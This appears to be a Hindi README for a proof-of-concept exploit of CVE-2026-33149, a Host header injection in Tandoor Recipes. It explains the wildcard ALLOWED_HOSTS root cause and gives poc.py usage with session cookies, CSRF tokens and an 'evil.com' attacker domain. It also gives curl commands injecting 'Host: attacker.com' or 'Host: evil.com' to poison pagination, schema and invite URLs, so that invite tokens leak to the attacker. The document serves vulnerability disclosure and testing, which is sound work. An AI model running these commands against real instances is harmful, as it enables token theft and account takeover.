
CVE-2026-33149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में एक Host header injection जो इनवाइट लिंक पॉइज़निंग और कैश पॉइज़निंग को सक्षम बनाता है। इसमें होस्ट स्वीकृति, पेजिनेशन, स्कीमा और इनवाइट पॉइज़निंग के लिए मॉड्यूल शामिल हैं।
Tandoor Recipes settings.py में डिफ़ॉल्ट रूप से ALLOWED_HOSTS = '*' सेट करता है, जिससे Django बिना किसी सत्यापन के HTTP Host हेडर में किसी भी मान को स्वीकार कर लेता है। एप्लिकेशन कई सुरक्षा-संवेदनशील संदर्भों में पूर्ण URL उत्पन्न करने के लिए request.build_absolute_uri() का उपयोग करता है। एक हमलावर जो निर्मित Host हेडर के साथ अनुरोध भेज सकता है, सर्वर द्वारा उत्पन्न सभी URL को हमलावर-नियंत्रित डोमेन पर पुनर्निर्देशित कर सकता है।
सबसे गंभीर प्रभाव इनवाइट लिंक पॉइज़निंग है: जब कोई व्यवस्थापक उपयोगकर्ता इनवाइट बनाता है, तो सर्वर द्वारा भेजे गए ईमेल में हमलावर के डोमेन की ओर इशारा करने वाला लिंक होता है। पीड़ित एक वैध दिखने वाले ईमेल पर क्लिक करता है, इनवाइट टोकन बाहर निकाल लिया जाता है, और हमलावर इसका उपयोग खाता प्रावधान प्रवाह को हाईजैक करने के लिए करता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — स्क्रिप्टिंग सिंटैक्स के लिए HTTP हेडर का अनुचित न्यूट्रलाइज़ेशन |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| प्रभावित संस्करण | Tandoor Recipes ≤ 2.5.3 |
| विक्रेता | TandoorRecipes/recipes |
| तकनीक ID | नाम | प्रासंगिकता |
|---|---|---|
| T1557 | Adversary-in-the-Middle | ट्रैफ़िक पुनर्निर्देशित करने के लिए सर्वर-जनित URL में हेरफेर |
| T1566.002 | Phishing: Spearphishing Link | पॉइज़न किया गया इनवाइट ईमेल हमलावर-नियंत्रित लिंक रखता है |
फ़ाइल: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
Django का ALLOWED_HOSTS एक सुरक्षा उपाय है जो Host हेडर को व्हाइटलिस्ट के विरुद्ध सत्यापित करता है। वाइल्डकार्ड '*' इस सत्यापन को पूरी तरह से अक्षम कर देता है, जिससे कोई भी मनमाना मान स्वीकार हो जाता है।
फ़ाइल: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() request.get_host() का उपयोग करके URL बनाता है, जो ALLOWED_HOSTS द्वारा प्रतिबंधित न होने पर कच्चा Host हेडर मान लौटाता है। इनवाइट UUID — एक गुप्त टोकन — उस URL में एम्बेडेड होता है जो अब हमलावर की ओर इशारा करता है।
next/previous URL के लिए build_absolute_uri() का उपयोग करती हैं┌──────────┐ ① निर्मित अनुरोध ┌─────────────────┐
│ हमलावर │ ──────────────────────────────→│ Tandoor सर्वर │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
"attacker.com" का उपयोग करता है
│
▼
┌────────────────┐
│ SMTP सर्वर │
└────────┬───────┘
│
③ पॉइज़न लिंक वाला ईमेल:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ पीड़ित │
│ (लिंक पर क्लिक)│
└────────┬───────┘
│
④ UUID हमलावर को भेजा गया
│
▼
┌────────────────┐
│ हमलावर │
│ वास्तविक सर्वर │
│ पर UUID का उपयोग│
└────────────────┘
requests लाइब्रेरीpip install requests
# बेसिक प्रमाणीकरण के साथ सभी सत्यापन मॉड्यूल चलाएँ
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# सत्र कुकीज़ के साथ सभी मॉड्यूल चलाएँ
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# केवल इनवाइट लिंक पॉइज़निंग
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| मॉड्यूल | विवरण |
|---|---|
host-accept | सत्यापित करता है कि लक्ष्य मनमाना Host हेडर स्वीकार करता है (ALLOWED_HOSTS = '*') |
pagination | पुष्टि करता है कि API पेजिनेशन URL इंजेक्ट किए गए डोमेन को दर्शाते हैं |
schema | पुष्टि करता है कि OpenAPI स्कीमा सर्वर URL इंजेक्ट किए गए डोमेन को दर्शाते हैं |
invite | पॉइज़न इनवाइट लिंक बनाता है — प्राथमिक हमला वेक्टर |
all | सभी मॉड्यूल क्रमिक रूप से चलाता है |
1. होस्ट हेडर स्वीकृति
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# अपेक्षित: 200 (असुरक्षित) | 400 (पैच किया गया)
2. पेजिनेशन URL प्रतिबिंब
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# अपेक्षित: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. स्कीमा URL प्रतिबिंब
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# अपेक्षित: http://evil.com/...